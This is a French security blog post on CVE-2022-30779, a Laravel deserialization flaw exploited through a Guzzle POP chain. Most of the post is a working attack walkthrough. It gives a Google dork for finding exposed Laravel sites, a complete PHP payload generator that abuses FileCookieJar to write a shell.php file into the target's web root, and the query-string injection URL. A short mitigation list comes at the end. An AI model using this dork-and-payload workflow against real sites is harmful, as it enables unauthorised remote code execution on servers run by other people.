Laravel possible RCE

Laravel est un framework PHP Open-source bien connu et utilisé.

Cette CVE repose sur un problème de désérialisation d’un guzzle POP Chain. La fonction unserialize n’est pas filtrée.

La faille est disponible pour la version Laravel 9.1.8 avec un PHP < 8.

Bien que cette faille ne comporte pas pour le moment de score, elle peut être considérée comme critique.

Plus d ‘infos sur cette url :

https://github.com/1nhann/vulns/issues/2

 

Exemple d'attaque

Comme toujours via le GHDB il est assez simple de trouver des sites utilisant Laravel. Cela montre une nouvelle fois, l’importance de masquer certaines bannières sur le net.

				
					inurl:readme.md intext:"Laravel" 
				
			

Ensuite il suffit d’utiliser ce bout de code pour générer votre playload.

				
					<?php

namespace GuzzleHttp\Cookie{
    class SetCookie
    {
        private static $defaults = [
            'Name'     => null,
            'Value'    => null,
            'Domain'   => null,
            'Path'     => '/',
            'Max-Age'  => null,
            'Expires'  => null,
            'Secure'   => false,
            'Discard'  => false,
            'HttpOnly' => false
        ];
        function __construct()
        {
            $this->data['Expires'] = '<?php phpinfo();?>';
            $this->data['Discard'] = 0;
        }
    }
    class CookieJar{
        private $cookies = [];
        private $strictMode;
        function __construct()
        {
            $this->cookies[] = new SetCookie();
        }
    }
    class FileCookieJar extends CookieJar{
        private $filename;
        private $storeSessionCookies;
        function __construct()
        {
            parent::__construct();
            $this->filename = "d:/var/www/untitled/public/shell.php";
            $this->storeSessionCookies = true;
        }
    }
}
namespace{
    $a = new \GuzzleHttp\Cookie\FileCookieJar();
    echo base64_encode(serialize($a));
}
				
			

Appelons la chaîne de caractère résultant de votre playload XXXXX, il suffira ensuite de l’injecter dans l url de la cible de cette manière

				
					http://url.de.la.cible/?ser=XXXXX
				
			

Comment se protéger contre la CVE sur Laravel

Les principaux axes de protections contre cette faille est la mise à jour dès que possible.

En attendant vous devez :

  • Masquer les bannières de vos serveurs web, php et laravel
  • Correctement paramétrer vos fichiers php.ini
  • Faire attention aux droits de vos fichiers.

 

En gros appliquer toutes les bonnes pratiques d’un hébergement WEB sécurisé

Information Valeur

CVE

CVE-2022-30779

CVE publié le

16/05/2022

Score

0

Fuite de données

Critique

Intégrité Système

Critique

Impact sur les ressources

Critique

Compléxité

Facile

Authentification requise

Non